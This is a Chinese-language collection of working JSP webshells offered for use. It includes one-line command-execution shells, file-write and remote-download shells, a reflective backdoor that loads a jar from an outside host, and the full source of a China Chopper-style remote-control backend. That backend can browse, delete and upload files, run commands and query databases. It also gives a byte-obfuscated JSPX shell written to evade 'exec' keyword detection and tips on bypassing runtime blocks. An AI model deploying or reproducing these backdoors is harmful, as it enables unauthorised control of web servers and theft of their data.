一：执行系统命令:
无回显执行系统命令：
|
1
|
<%Runtime.getRuntime().exec(request.getParameter(
"i"
));%>
|
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:
|
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|
<%
if
(
"023"
.equals(request.getParameter(
"pwd"
))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(
"i"
)).getInputStream();
int
a = -
1
;
byte
[] b =
new
byte
[
2048
]; out.print("
<pre>");
while
((a=in.read(b))!=-
1
){
out.println(
new
String(b,
0
,a));
}
out.print("</pre>
");
}
%>
|
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
二、把字符串编码后写入指定文件的：
1:
|
1
|
<%
new
java.io.FileOutputStream(request.getParameter(
"f"
)).write(request.getParameter(
"c"
).getBytes());%>
|
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：
|
1
|
<%
new
java.io.FileOutputStream(application.getRealPath(
"/"
)+
"/"
+request.getParameter(
"f"
)).write(request.getParameter(
"c"
).getBytes());%>
|
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:
|
1
|
<%
new
java.io.RandomAccessFile(request.getParameter(
"f"
),
"rw"
).write(request.getParameter(
"c"
).getBytes()); %>
|
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:
|
1
|
<%
new
java.io.RandomAccessFile(application.getRealPath(
"/"
)+
"/"
+request.getParameter(
"f"
),
"rw"
).write(request.getParameter(
"c"
).getBytes()); %>
|
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)
|
1
|
<% java.io.InputStream in =
new
java.net.URL(request.getParameter(
"u"
)).openStream();
byte
[] b =
new
byte
[
1024
]; java.io.ByteArrayOutputStream baos =
new
java.io.ByteArrayOutputStream();
int
a = -
1
;
while
((a = in.read(b)) != -
1
) { baos.write(b,
0
, a); }
new
java.io.FileOutputStream(request.getParameter(
"f"
)).write(baos.toByteArray()); %>
|
请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
下载到web路径:
|
1
|
<% java.io.InputStream in =
new
java.net.URL(request.getParameter(
"u"
)).openStream();
byte
[] b =
new
byte
[
1024
]; java.io.ByteArrayOutputStream baos =
new
java.io.ByteArrayOutputStream();
int
a = -
1
;
while
((a = in.read(b)) != -
1
) { baos.write(b,
0
, a); }
new
java.io.FileOutputStream(application.getRealPath(
"/"
)+
"/"
+ request.getParameter(
"f"
)).write(baos.toByteArray()); %>
|
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
四：反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
|
1
|
<%=Class.forName(
"Load"
,
true
,
new
java.net.URLClassLoader(
new
java.net.URL[]{
new
java.net.URL(request.getParameter(
"u"
))})).getMethods()[
0
].invoke(
null
,
new
Object[]{request.getParameterMap()})%>
|
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 
菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 
解： 利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。 下载：Cat.jar Load代码：
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|
import
java.io.IOException;
import
java.util.HashMap;
import
java.util.Map;
import
java.util.Map.Entry;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author yz
*/
public
class
Load {
public
static
String load(Map<string,string[]> map){
try
{
Map<string,string> request =
new
HashMap<string,string>();
for
(Entry<string, string[]=
""
> entrySet : map.entrySet()) {
String key = entrySet.getKey();
String value = entrySet.getValue()[
0
];
request.put(key, value);
}
return
new
Chopper().doPost(request);
}
catch
(IOException ex) {
return
ex.toString();
}
}
}</string,></string,string></string,string></string,string[]>
|
Chopper代码：
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import
java.io.BufferedInputStream;
import
java.io.BufferedReader;
import
java.io.BufferedWriter;
import
java.io.ByteArrayOutputStream;
import
java.io.File;
import
java.io.FileInputStream;
import
java.io.FileOutputStream;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.InputStreamReader;
import
java.io.OutputStreamWriter;
import
java.lang.reflect.Method;
import
java.net.HttpURLConnection;
import
java.net.URL;
import
java.net.URLClassLoader;
import
java.sql.Connection;
import
java.sql.DriverManager;
import
java.sql.ResultSet;
import
java.sql.ResultSetMetaData;
import
java.sql.Statement;
import
java.text.SimpleDateFormat;
import
java.util.Date;
import
java.util.Map;
public
class
Chopper{
public
static
String getPassword()
throws
IOException {
return
"023"
;
}
String cs =
"UTF-8"
;
String encoding(String s)
throws
Exception {
return
new
String(s.getBytes(
"ISO-8859-1"
), cs);
}
Connection getConnection(String s)
throws
Exception {
String[] x = s.trim().split(
"\r\n"
);
try
{
Class.forName(x[
0
].trim());
}
catch
(ClassNotFoundException e) {
boolean
classNotFound =
true
;
BufferedReader br =
new
BufferedReader(
new
InputStreamReader(
this
.getClass().getResourceAsStream(
"/map.txt"
)));
String str =
""
;
while
((str = br.readLine()) !=
null
) {
String[] arr = str.split(
"="
);
if
(arr.length ==
2
&& arr[
0
].trim().equals(x[
0
].trim())) {
try
{
URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method m = URLClassLoader.
class
.getDeclaredMethod(
"addURL"
, URL.
class
);
m.setAccessible(
true
);
m.invoke(ucl,
new
Object[]{
new
URL(arr[
1
])});
Class.forName(arr[
0
].trim());
classNotFound =
false
;
break
;
}
catch
(ClassNotFoundException ex) {
throw
ex;
}
}
}
if
(classNotFound) {
throw
e;
}
}
if
(x[
1
].contains(
"jdbc:oracle"
)) {
return
DriverManager.getConnection(x[
1
].trim() +
":"
+ x[
4
],
x[
2
].equalsIgnoreCase(
"[/null]"
) ?
""
: x[
2
],
x[
3
].equalsIgnoreCase(
"[/null]"
) ?
""
: x[
3
]);
}
else
{
Connection c = DriverManager.getConnection(x[
1
].trim(),
x[
2
].equalsIgnoreCase(
"[/null]"
) ?
""
: x[
2
],
x[
3
].equalsIgnoreCase(
"[/null]"
) ?
""
: x[
3
]);
if
(x.length >
4
) {
c.setCatalog(x[
4
]);
}
return
c;
}
}
void
listRoots(ByteArrayOutputStream out)
throws
Exception {
File r[] = File.listRoots();
for
(File f : r) {
out.write((f.getName()).getBytes(cs));
}
}
void
dir(String s, ByteArrayOutputStream out)
throws
Exception {
File l[] =
new
File(s).listFiles();
for
(File f : l) {
String mt =
new
SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss"
).format(
new
Date(f.lastModified()));
String rw = f.canRead() ?
"R"
:
""
+ (f.canWrite() ?
" W"
:
""
);
out.write((f.getName() + (f.isDirectory() ?
"/"
:
""
) +
"\t"
+ mt +
"\t"
+ f.length() +
"\t"
+ rw +
"\n"
).getBytes(cs));
}
}
void
deleteFiles(File f)
throws
Exception {
if
(f.isDirectory()) {
File x[] = f.listFiles();
for
(File fs : x) {
deleteFiles(fs);
}
}
f.delete();
}
byte
[] readFile(String s)
throws
Exception {
int
n;
byte
[] b =
new
byte
[
1024
];
BufferedInputStream bis =
new
BufferedInputStream(
new
FileInputStream(s));
ByteArrayOutputStream bos =
new
ByteArrayOutputStream();
while
((n = bis.read(b)) != -
1
) {
bos.write(b,
0
, n);
}
bis.close();
return
bos.toByteArray();
}
void
upload(String s, String d)
throws
Exception {
String h =
"0123456789ABCDEF"
;
File f =
new
File(s);
f.createNewFile();
FileOutputStream os =
new
FileOutputStream(f);
for
(
int
i =
0
; i < d.length(); i +=
2
) { os.write((h.indexOf(d.charAt(i)) <<
4
| h.indexOf(d.charAt(i +
1
)))); } os.close(); }
void
filesMove(File sf, File df)
throws
Exception {
if
(sf.isDirectory()) {
if
(!df.exists()) { df.mkdir(); } File z[] = sf.listFiles();
for
(File z1 : z) { filesMove(
new
File(sf, z1.getName()),
new
File(df, z1.getName())); } }
else
{ FileInputStream is =
new
FileInputStream(sf); FileOutputStream os =
new
FileOutputStream(df);
int
n;
byte
[] b =
new
byte
[
1024
];
while
((n = is.read(b)) != -
1
) { os.write(b,
0
, n); } is.close(); os.close(); } }
void
fileMove(File s, File d)
throws
Exception { s.renameTo(d); }
void
mkdir(File s)
throws
Exception { s.mkdir(); }
void
setLastModified(File s, String t)
throws
Exception { s.setLastModified(
new
SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss"
).parse(t).getTime()); }
void
downloadRemoteFile(String s, String d)
throws
Exception {
int
n =
0
; FileOutputStream os =
new
FileOutputStream(d); HttpURLConnection h = (HttpURLConnection)
new
URL(s).openConnection(); InputStream is = h.getInputStream();
byte
[] b =
new
byte
[
1024
];
while
((n = is.read(b)) != -
1
) { os.write(b,
0
, n); } os.close(); is.close(); h.disconnect(); }
void
inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out)
throws
Exception {
int
i = -
1
;
byte
[] b =
new
byte
[
1024
];
while
((i = is.read(b)) != -
1
) { out.write(b,
0
, i); } }
void
getCurrentDB(String s, ByteArrayOutputStream out)
throws
Exception { Connection c = getConnection(s); ResultSet r = s.contains(
"jdbc:oracle"
) ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
while
(r.next()) { out.write((r.getObject(
1
) +
"\t"
).getBytes(cs)); } r.close(); c.close(); }
void
getTableName(String s, ByteArrayOutputStream out)
throws
Exception { Connection c = getConnection(s); String[] x = s.trim().split(
"\r\n"
); ResultSet r = c.getMetaData().getTables(
null
, s.contains(
"jdbc:oracle"
) ? x.length >
5
? x[
5
] : x[
4
] :
null
,
"%"
,
new
String[]{
"TABLE"
});
while
(r.next()) {
out.write((r.getObject(
"TABLE_NAME"
) +
"\t"
).getBytes(cs));
}
r.close();
c.close();
}
void
getTableColumn(String s, ByteArrayOutputStream out)
throws
Exception {
String[] x = s.trim().split(
"\r\n"
);
Connection c = getConnection(s);
ResultSet r = c.prepareStatement(
"select * from "
+ x[x.length -
1
]).executeQuery();
ResultSetMetaData d = r.getMetaData();
for
(
int
i =
1
; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) +
" ("
+ d.getColumnTypeName(i) +
")\t"
).getBytes(cs)); } r.close(); c.close(); }
void
executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p)
throws
Exception { Connection c = getConnection(s); Statement m = c.createStatement(
1005
,
1008
); BufferedWriter bw =
null
;
try
{
boolean
f = q.contains(
"--f:"
); ResultSet r = m.executeQuery(f ? q.substring(
0
, q.indexOf(
"--f:"
)) : q); ResultSetMetaData d = r.getMetaData();
int
n = d.getColumnCount();
for
(
int
i =
1
; i <= n; i++) { out.write((d.getColumnName(i) +
"\t|\t"
).getBytes(cs)); } out.write((
"\r\n"
).getBytes(cs));
if
(f) { File file =
new
File(p);
if
(!q.contains(
"-to:"
)) { file.mkdir(); } bw =
new
BufferedWriter(
new
OutputStreamWriter(
new
FileOutputStream(
new
File(q.contains(
"-to:"
) ? p.trim() : p + q.substring(q.indexOf(
"--f:"
) +
4
, q.length()).trim()),
true
), cs)); }
while
(r.next()) {
for
(
int
i =
1
; i <= n; i++) {
if
(f) { bw.write(r.getObject(i) +
""
+
"\t"
); bw.flush(); }
else
{ out.write((r.getObject(i) +
""
+
"\t|\t"
).getBytes(cs)); } }
if
(bw !=
null
) { bw.newLine(); } out.write((
"\r\n"
).getBytes(cs)); } r.close();
if
(bw !=
null
) { bw.close(); } }
catch
(Exception e) { out.write((
"Result\t|\t\r\n"
).getBytes(cs));
try
{ m.executeUpdate(q); out.write((
"Execute Successfully!\t|\t\r\n"
).getBytes(cs)); }
catch
(Exception ee) { out.write((ee.toString() +
"\t|\t\r\n"
).getBytes(cs)); } } m.close(); c.close(); }
public
String doPost(Map<string,string>request)
throws
IOException {
cs = request.get(
"z0"
) !=
null
? request.get(
"z0"
) +
""
: cs;
ByteArrayOutputStream out =
new
ByteArrayOutputStream();
try
{
char
z = (
char
) request.get(getPassword()).getBytes()[
0
];
String z1 = encoding(request.get(
"z1"
) +
""
);
String z2 = encoding(request.get(
"z2"
) +
""
);
out.write(
"->|"
.getBytes(cs));
String s =
new
File(
""
).getCanonicalPath();
byte
[] returnTrue =
"1"
.getBytes(cs);
switch
(z) {
case
'A'
:
out.write((s +
"\t"
).getBytes(cs));
if
(!s.substring(
0
,
1
).equals(
"/"
)) {
listRoots(out);
}
break
;
case
'B'
:
dir(z1, out);
break
;
case
'C'
:
String l =
""
;
BufferedReader br =
new
BufferedReader(
new
InputStreamReader(
new
FileInputStream(
new
File(z1))));
while
((l = br.readLine()) !=
null
) {
out.write((l +
"\r\n"
).getBytes(cs));
}
br.close();
break
;
case
'D'
:
BufferedWriter bw =
new
BufferedWriter(
new
OutputStreamWriter(
new
FileOutputStream(
new
File(z1))));
bw.write(z2);
bw.flush();
bw.close();
out.write(returnTrue);
break
;
case
'E'
:
deleteFiles(
new
File(z1));
out.write(
"1"
.getBytes(cs));
break
;
case
'F'
:
out.write(readFile(z1));
case
'G'
:
upload(z1, z2);
out.write(returnTrue);
break
;
case
'H'
:
filesMove(
new
File(z1),
new
File(z2));
out.write(returnTrue);
break
;
case
'I'
:
fileMove(
new
File(z1),
new
File(z2));
out.write(returnTrue);
break
;
case
'J'
:
mkdir(
new
File(z1));
out.write(returnTrue);
break
;
case
'K'
:
setLastModified(
new
File(z1), z2);
out.write(returnTrue);
break
;
case
'L'
:
downloadRemoteFile(z1, z2);
out.write(returnTrue);
break
;
case
'M'
:
String[] c = {z1.substring(
2
), z1.substring(
0
,
2
), z2};
Process p = Runtime.getRuntime().exec(c);
inputStreamToOutPutStream(p.getInputStream(), out);
inputStreamToOutPutStream(p.getErrorStream(), out);
break
;
case
'N'
:
getCurrentDB(z1, out);
break
;
case
'O'
:
getTableName(z1, out);
break
;
case
'P'
:
getTableColumn(z1, out);
break
;
case
'Q'
:
executeQuery(cs, z1, z2, out, z2.contains(
"-to:"
) ? z2.substring(z2.indexOf(
"-to:"
) +
4
, z2.length()) : s.replaceAll(
"\\\\"
,
"/"
) +
"images/"
);
break
;
}
}
catch
(Exception e) {
out.write((
"ERROR"
+
":// "
+ e.toString()).getBytes(cs));
}
out.write((
"|<-"
).getBytes(cs));
return
new
String(out.toByteArray()); } }</string,string>
|
map.txt:
|
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2
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14
|
oracle.jdbc.driver.OracleDriver=http:
//javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=http:
//javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http:
//javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http:
//javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http:
//javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http:
//javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http:
//javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=http:
//javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http:
//javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http:
//javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http:
//javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=http:
//javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http:
//javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=http:
//javaweb.org/jdbc/mongo-java-driver-2.9.3.jar
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无任何命令执行关键字的cmd.zip
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<jsp:directive.page contentType=
"text/html"
pageEncoding=
"UTF-8"
/>
<jsp:scriptlet>
Class<?> api = String.
class
.getClass().forName(
new
String(
new
byte
[]{
106
,
97
,
118
,
97
,
46
,
108
,
97
,
110
,
103
,
46
,
82
,
117
,
110
,
116
,
105
,
109
,
101
}));
Object obj2 = api.getMethod(
new
String(
new
byte
[]{
101
,
120
,
101
,
99
}), String.
class
).invoke(api.getMethod(
new
String(
new
byte
[]{
103
,
101
,
116
,
82
,
117
,
110
,
116
,
105
,
109
,
101
})).invoke(
null
,
new
Object[]{}),
new
Object[]{request.getParameter("str")});
java.lang.reflect.Method m = obj2.getClass().getMethod(
new
String(
new
byte
[]{
103
,
101
,
116
,
73
,
110
,
112
,
117
,
116
,
83
,
116
,
114
,
101
,
97
,
109
}));
m.setAccessible(
true
);
java.util.Scanner s =
new
java.util.Scanner((java.io.InputStream) m.invoke(obj2,
new
Object[]{})).useDelimiter("\\A");
out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");
</jsp:scriptlet>
</jsp:root>
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绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:
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Class clazz = Class.forName(
"java.lang.ProcessImpl"
);
Constructor constructor = clazz.getDeclaredConstructors()[
0
];
constructor.setAccessible(
true
);
Process process = (Process) constructor.newInstance(
toCString(cmdarray[
0
]), argBlock, args.length,
null
, envc[
0
],
null
, std_fds,
false
);
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如果不会写，自己参考"UNIXProcess.java"的代码就可以了。
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